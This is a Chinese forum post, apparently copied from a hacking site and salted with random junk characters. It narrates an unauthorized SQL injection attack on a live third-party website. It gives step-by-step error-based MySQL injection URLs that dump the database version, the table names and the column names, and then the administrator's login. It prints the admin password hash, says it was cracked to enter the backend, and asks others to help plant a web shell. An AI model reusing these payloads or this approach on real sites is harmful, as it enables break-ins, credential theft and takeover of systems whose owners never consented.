近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。4 [8 g, G* U! J% C0 l* ?
首先找到网站后台,加了个admin,后台出来了 7 c: U Y4 S/ R( D/ F2 I& o1 i- X
" k) s! R3 e7 w1 A/ t0 f7 G$ B
2 o9 g$ ~% A. K6 Z7 u
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
2 i, v* l% I/ W Q( O3 v0 Thttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—9 ~+ H+ \$ D X* }& l) y3 `
9 R' P( W" Q5 ~7 U: L' [7 Q3 k3 D) f; c H6 A7 H
2 J, Q8 r3 {9 a, k) ?9 }" p- ]6 i
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg+ @ P- H+ M# q6 z! o
( \# E0 R3 b$ `( [+ i: `0 R! s) q5 q/ F
4 e; U" F, ]: @2 J
( E) ` b- Y' x4 |4 i可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
* c1 A3 R. j/ d7 U; R# B4 s! S$ v5 A3 K# @6 v! x) |
& L, r3 x# R( J5 s
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg$ g% i+ _& E0 N8 B! d
% p$ B/ t+ Q% O4 b" R f/ i
" R3 I0 v, ?8 }' h& } a% i, w8 ]4 e& g
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
, N2 ^ L: e, }* u
, ?7 |* B4 g9 K- s6 U: k+ J" M! |/ u& l
% |" U F \5 W* P: u8 p) g
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))-- d* w$ \/ _# Q- k0 l
0 `5 g9 Y( s! Q% ~7 \7 t2 k3 N, ~3 i0 q3 q' w: k
9 t: \( G; l. ~, q- ?
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |